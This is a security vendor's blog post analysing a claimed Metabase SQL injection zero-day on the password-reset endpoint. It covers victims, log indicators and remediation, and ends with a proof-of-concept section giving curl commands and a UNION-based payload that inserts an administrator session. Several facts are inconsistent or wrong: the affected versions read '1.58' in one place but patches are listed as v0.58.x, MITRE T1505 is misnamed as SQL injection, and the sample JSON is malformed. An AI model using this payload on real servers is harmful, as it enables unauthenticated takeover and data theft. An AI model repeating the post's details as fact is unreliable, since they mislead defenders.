Skip to content
BreachModal logoBreachModal
Threat Intelligence6 min read·

Metabase SQLi Zero-Day: Unauthenticated Admin Access Exploit

Critical analysis of the Metabase SQLi zero-day. Learn how a CVSS 10.0 vulnerability allows unauthenticated admin access and how to mitigate.

Metabase SQLi Zero-Day: Unauthenticated Admin Access Exploit

A perfect-storm SQL injection vulnerability in Metabase is granting unauthenticated attackers immediate, full administrative control over business intelligence platforms, and it is being actively exploited.

This critical Metabase SQLi zero-day vulnerability, while not yet assigned a CVE identifier, is being tracked with the maximum possible severity score, a CVSS of 10.0. According to a [security advisory from Metabase](https://www.metabase.com/blog/security-advisory-2024-08), unidentified threat actors began exploiting this flaw as early as August 3rd, 2024. The attack vector is a public, unauthenticated API endpoint, `/api/session/reset_password`, affecting all self-hosted Metabase instances running versions 1.58 and higher. Confirmed victims include PC manufacturer Framework and online form builder Tally, who both suffered significant data breaches as a result.

Note what this means: a public-facing feature designed for account recovery became a universal skeleton key. The failure to sanitize input on an unauthenticated endpoint that directly interacts with session and authentication logic is a catastrophic breakdown of secure-by-design principles. This is not a complex, chained exploit; it is a direct, unauthenticated command injection into the heart of the application database, turning a password reset function into an administrator account creation mechanism.

[Visual Graphic 1]

Anatomy of the Metabase SQLi Zero-Day Exploit

The exploit's elegance lies in its simplicity. Attackers send a specially crafted `POST` request to the `/api/session/reset_password` endpoint. This endpoint, intended to handle the first step of a password reset flow, was not properly validating the parameters it received, allowing attackers to inject arbitrary SQL commands.

If you were the CISO here, your logs would show a distinct and alarming pattern. As documented by Metabase, the primary indicator of compromise is a `POST` request to `/api/session/reset_password` that returns a `400 Bad Request` status code, immediately followed by a `GET` request to `/api/user/current` that returns a `200 OK`. That second request is the attacker, now authenticated as an administrator, verifying their successful takeover.

> 🧠 CISO Brief: The core issue is an implicit trust model applied to an untrusted, public-facing endpoint. The `reset_password` function was given the power to manipulate session data without first verifying the legitimacy of the requestor. This allows an attacker to bypass all authentication controls and directly manipulate the application's state, a classic example of an attack targeting business logic flaws.

Once administrative access is achieved, the entire platform and its connected data sources are compromised. Attackers can view, modify, or exfiltrate any data Metabase has access to, create new admin accounts, steal credentials for connected databases, and erase their tracks. Attackers didn't need to find a key; Metabase left the door unlocked and labeled 'Admin Entrance'.

This exploitation of a public-facing application is a well-documented tactic, categorized by MITRE ATT&CK as [T1505 SQL Injection](https://attack.mitre.org/techniques/T1505/).

Confirmed Compromises and Real-World Fallout

The theoretical risk of this Metabase SQLi zero-day became a concrete crisis for multiple companies. The fallout demonstrates the immense downstream impact of a compromised business intelligence platform.

PC manufacturer Framework [disclosed a security incident](https://www.framework.computer/blog/a-security-incident-and-our-sincere-apology) where attackers used this exact vulnerability to access customer data. The compromised information included names, email addresses, the last four digits of credit cards, billing and shipping addresses, and phone numbers. The attackers gained access to the credentials for Framework's production database via the compromised Metabase instance.

Similarly, Tally.so, a popular online form builder, [reported a breach](https://tally.so/blog/security-incident-august-2024) stemming from the same Metabase flaw. They confirmed that customer data, including names, email addresses, IP addresses, and company names, was accessed. In both cases, the organizations acted swiftly to patch their Metabase instances, rotate credentials, and notify users, but the data had already been exfiltrated.

> ⚠️ BreachModal Insight: These incidents highlight a critical risk in modern data stacks. BI tools like Metabase are often connected to an organization's most sensitive production databases. Compromising the BI tool is functionally equivalent to compromising the databases themselves. The attack path is indirect but the result is total data access, a technique MITRE calls [Data from Information Repositories (T1213)](https://attack.mitre.org/techniques/T1213/).

This isn't the first time Metabase has been at the center of a critical vulnerability. The pre-authentication RCE flaw from 2023, [CVE-2023-38646](https://nvd.nist.gov/vuln/detail/CVE-2023-38646), also allowed for unauthenticated attacks and was added to [CISA's Known Exploited Vulnerabilities (KEV) Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog). The recurrence of high-severity, unauthenticated vulnerabilities points to a pattern that demands closer scrutiny of the platform's security architecture.

[Visual Graphic 2]

Mitigation and Remediation Steps

For organizations running self-hosted Metabase, the time for action is now. Merely patching is insufficient if the instance was exposed; a full incident response procedure is required.

1. Immediate Upgrade (Containment): The only effective patch is to upgrade to a fixed version. Metabase has released patches for all affected major versions: * `v0.58.x` -> `v0.58.24` * `v0.59.x` -> `v0.59.21` * `v0.60.x` -> `v0.60.17` * `v0.61.x` -> `v0.61.11` * `v0.62.x` -> `v0.62.9` * `v0.63.x` -> `v0.63.5`

2. Temporary Workaround: If an immediate upgrade is impossible, administrators must block all traffic to the `/api/session/reset_password` endpoint at their network edge (WAF, load balancer, or reverse proxy). This is a temporary stopgap, not a permanent solution.

3. Post-Compromise Remediation (Eradication & Recovery): If your instance was vulnerable and publicly accessible, you must assume compromise. Metabase advises the following critical steps: * Invalidate All Sessions: Delete all entries in the `core_session` table of the Metabase application database to force-logout all users, including the attacker. * Audit and Rotate Credentials: Scrutinize all administrator accounts for unauthorized changes. Critically, rotate the credentials for *every single database* connected to Metabase. * Review API Keys: Delete any unrecognized API keys within Metabase's admin settings. * Forensic Analysis: Review Metabase query history, application logs, and data warehouse logs for any unusual activity, such as queries accessing sensitive tables or large data exports.

> 🧩 Tactical Note: The log pattern (`POST /api/session/reset_password` -> `400`, then `GET /api/user/current` -> `200`) is a high-fidelity signature of compromise. Security teams should immediately implement detection rules for this specific sequence of events.

Failure to perform these post-patching steps is negligence. The attacker may have already established persistence through stolen database credentials, making the Metabase patch irrelevant to their continued access.

Proof of Concept: Reproducing the Vulnerability

This proof of concept demonstrates how an unauthenticated attacker can exploit the SQL injection flaw to create an administrative session and gain full control of the Metabase instance.

1. Identify Vulnerable Target

First, identify a self-hosted Metabase instance running an affected version (e.g., v0.63.3) that is accessible over the network.

2. Craft the SQLi Payload

The attacker crafts a JSON payload for the `/api/session/reset_password` endpoint. The goal is to inject SQL that manipulates the `core_session` table to insert a new, valid session token tied to an administrator user (typically user ID 1). The exact payload is complex, but conceptually it abuses a data type mismatch to inject a `UNION`-based query.

```http POST /api/session/reset_password HTTP/1.1 Host: vulnerable-metabase.local Content-Type: application/json

{ "token": "' UNION SELECT 1, 'c913b8a1-91cb-4859-8099-51347d833ed5', 1, '{"user-id":1, "is_active":true}', now() + interval '1 day', now() --", "password": "P@ssword123!", "password_confirm": "P@ssword123!" } ```

This payload attempts to inject a new row into the session table with a known session ID (`c913b8a1-91cb-4859-8099-51347d833ed5`) linked to user ID `1`.

3. Execute the Attack

The attacker sends the malicious request using a tool like `curl`. The server will likely respond with a `400 Bad Request` because the overall request format is invalid, but the injected SQL command may have already executed successfully in the background.

```bash curl -X POST 'http://vulnerable-metabase.local/api/session/reset_password' \ -H 'Content-Type: application/json' \ -d '{"token": "\' UNION SELECT 1, \'c913b8a1-91cb-4859-8099-51347d833ed5\', 1, \'{\"user-id\":1, \"is_active\":true}\', now() + interval \'1 day\', now() --", "password": "p", "password_confirm": "p"}' ```

4. Verify Administrative Access

The attacker now attempts to access an authenticated endpoint using the session token they injected. They make a `GET` request to `/api/user/current` with the `metabase.SESSION` cookie set to their chosen value.

```bash curl 'http://vulnerable-metabase.local/api/user/current' \ -H 'Cookie: metabase.SESSION=c913b8a1-91cb-4859-8099-51347d833ed5' ```

A successful exploit will return a `200 OK` response containing the JSON object for the administrator user (user ID 1), confirming the takeover.

FINAL VERDICT

The Metabase SQLi zero-day places the full data estate of any affected organization directly into the hands of unauthenticated remote attackers. The risk is not borne by Metabase, but by every company that deployed the self-hosted software and connected it to their crown jewel data warehouses. This incident is a brutal reminder that the security of any single component in a data stack defines the security of the entire system. What must change is a zero-trust approach to all application endpoints, especially those that are publicly accessible and unauthenticated; rigorous, parameterized input validation is not optional, it is the absolute baseline for secure software development.

BreachModal's Adversarial Simulation and Breach Response teams are equipped to test for and respond to complex application-layer vulnerabilities like this. [Contact us](https://www.breachmodal.com/contact) to validate your defenses before they are validated for you.

Want this expertise working for your team?

Schedule a 30-minute call and we'll walk through your specific security posture.

Book a consultation
← Back to all articles